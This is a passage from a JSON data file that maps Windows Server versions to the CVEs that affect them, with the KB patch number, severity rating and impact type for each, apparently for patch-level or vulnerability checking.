Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126593","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3158991","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197655","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3198234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012583","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0101","kb":"4011981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4014793","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4018556","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019204","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041671","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4052303","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4021903","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022010","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4022748","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4039384","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038874","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4039038","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056615","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056759","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4101477","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4056564","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093478","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8120","kb":"4131188","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4134651","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4463097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4458010","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467706","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467706","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4134651","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480968","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499149","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493471","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534303","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537810","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541506","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571730","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571730","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003210","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003210","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003661","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5004955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005090","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005563","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006736","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-20569","kb":"5029318","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026408","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028222","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041850","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043135","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048710","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24985","kb":"5053888","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053888","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055609","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058449","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058449","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061026","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063888","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063888","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)":[{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3906","kb":"2901674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126041","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3158991","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-7255","kb":"3198234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012497","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0101","kb":"4011981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4014793","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4018556","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019204","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041671","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4052303","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8469","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022010","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4022748","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4039384","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038874","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4039038","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056615","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056759","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4101477","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4056564","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093478","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8120","kb":"4131188","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4134651","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4463097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4458010","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467706","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467706","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4134651","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480968","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499149","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493471","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534303","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537810","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541506","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571730","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571730","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003210","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003210","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003661","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5004955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005090","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005563","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006736","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-20569","kb":"5029318","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026408","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028222","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041850","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043135","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048710","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24985","kb":"5053888","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053888","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055609","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058449","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058449","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061026","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063888","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063888","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2012":[{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901127","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of 